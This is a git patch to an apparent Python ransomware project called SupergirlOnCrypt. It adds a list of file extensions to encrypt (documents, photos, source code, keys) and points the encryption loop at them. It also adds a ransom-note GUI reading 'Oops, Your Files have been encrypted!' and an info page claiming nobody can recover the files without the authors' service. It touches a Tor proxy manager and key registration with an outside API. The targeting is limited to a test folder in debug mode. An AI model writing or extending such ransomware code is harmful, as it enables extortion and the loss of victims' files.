From 78ac30d55a359288a07dec56b87b7afd426d2cbd Mon Sep 17 00:00:00 2001
From: ThoughtfulDev
Date: Thu, 14 Sep 2017 13:19:43 +0200
Subject: [PATCH] RichTextBox in GUI, Choose Extensions to encrypt
---
App/Config.py | 9 ++++++++-
App/GUI.py | 17 +++++++++++++----
App/SupergirlOnCrypt.py | 4 +++-
App/TorManager.py | 3 ++-
App/res/info.html | 16 ++++++++++++++++
5 files changed, 42 insertions(+), 7 deletions(-)
create mode 100644 App/res/info.html
diff --git a/App/Config.py b/App/Config.py
index f1032a2..5988398 100644
--- a/App/Config.py
+++ b/App/Config.py
@@ -2,4 +2,11 @@
DEBUG_MODE = True
LOG_LEVEL = logging.DEBUG
-API_URL = "http://localhost:8080"
\ No newline at end of file
+API_URL = "http://localhost:8080"
+
+FILE_TYPES = ['py', 'cpp', 'js', 'doc', 'docx', 'pdf', 'mp3', 'wav',
+ 'mp4', 'txt', 'log', 'html', 'jpg', 'jpeg', 'gif', 'png', 'tga',
+ 'flv', 'wmv', 'mpeg', 'mov', 'json', 'key', 'xml', 'htm',
+ 'fb2', 'sxw', 'oxps', 'odt', 'ps', 'rtf', 'wpd', 'wp', 'wp7',
+ 'md', 'sh'
+ ]
\ No newline at end of file
diff --git a/App/GUI.py b/App/GUI.py
index 42d2289..6dbafba 100644
--- a/App/GUI.py
+++ b/App/GUI.py
@@ -1,7 +1,7 @@
from PyQt5 import QtCore
from PyQt5.QtCore import QSize
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
-from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox
+from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit
from Helper import Helper
from TorManager import TorManager
import Config
@@ -15,7 +15,7 @@ class GUI(QWidget):
def __init__(self, uuid):
self.uuid = uuid
QWidget.__init__(self)
- self.headerFont = QFont("Times", 25, QFont.AllUppercase)
+ self.headerFont = QFont("Times", 22, QFont.AllUppercase)
self.setup()
def setup(self):
@@ -38,10 +38,19 @@ def setbg(self):
def placeWidgets(self):
#heading
- self.lbHeader = QLabel("Your PC has been encrypted!", self)
+ self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self)
self.lbHeader.setFont(self.headerFont)
self.lbHeader.setStyleSheet("QLabel { color: white;}")
- self.lbHeader.setGeometry(190, 10, 500, 50)
+ self.lbHeader.setGeometry(10, 15, 500, 120)
+
+ self.infoText = QTextEdit(self)
+ self.infoText.setReadOnly(True)
+ self.infoText.setGeometry(205, 150, 550, 360)
+ h = Helper()
+ with open(h.path('res/info.html'), 'r') as encrypt_info_file:
+ encrypt_text = encrypt_info_file.read().replace('\n', '')
+ self.infoText.setHtml(encrypt_text)
+
#button decrypt
self.btnDecrypt = QPushButton("Decrypt", self)
diff --git a/App/SupergirlOnCrypt.py b/App/SupergirlOnCrypt.py
index 603651a..f7c21fd 100644
--- a/App/SupergirlOnCrypt.py
+++ b/App/SupergirlOnCrypt.py
@@ -47,7 +47,9 @@ def genKeyPair():
_helper.debug("Got Response from /users/add => " + str(req.json()))
keys.forgetPrivate()
- pathlist = Path('./test_files').glob('**/*')
+ pathlist = []
+ for types in Config.FILE_TYPES:
+ pathlist.extend(Path('./test_files').glob('**/*.' + types))
for path in pathlist:
path_in_str = str(path)
fc = FileCrypter()
diff --git a/App/TorManager.py b/App/TorManager.py
index 927afac..e20fe0c 100644
--- a/App/TorManager.py
+++ b/App/TorManager.py
@@ -20,7 +20,8 @@ def startProxy(self):
self.startLinux()
elif platform == "win32":
self.startWindows()
- time.sleep(10)
+ if Config.DEBUG_MODE is False:
+ time.sleep(10)
def startLinux(self):
copyfile(self._helper.path("./tor_bin/tor_linux.zip"), self.tor_path_linux + "zip")
diff --git a/App/res/info.html b/App/res/info.html
new file mode 100644
index 0000000..d9a5455
--- /dev/null
+++ b/App/res/info.html
@@ -0,0 +1,16 @@
+
+
What happend to my Computer?
+
+ Your important Files are encrypted by SuperGirl.
+ Many of your files, photos, documents, and databases are no longer accessible because
+ they have been encrypted. Nobody can recover your files without our service
+
+
+
+
+
Can I Recover my Files?
+
+ Sure! We guarantee that you can recover all your files safely and easily.
+ Just do some random shit and click Decrypt!
+
+
\ No newline at end of file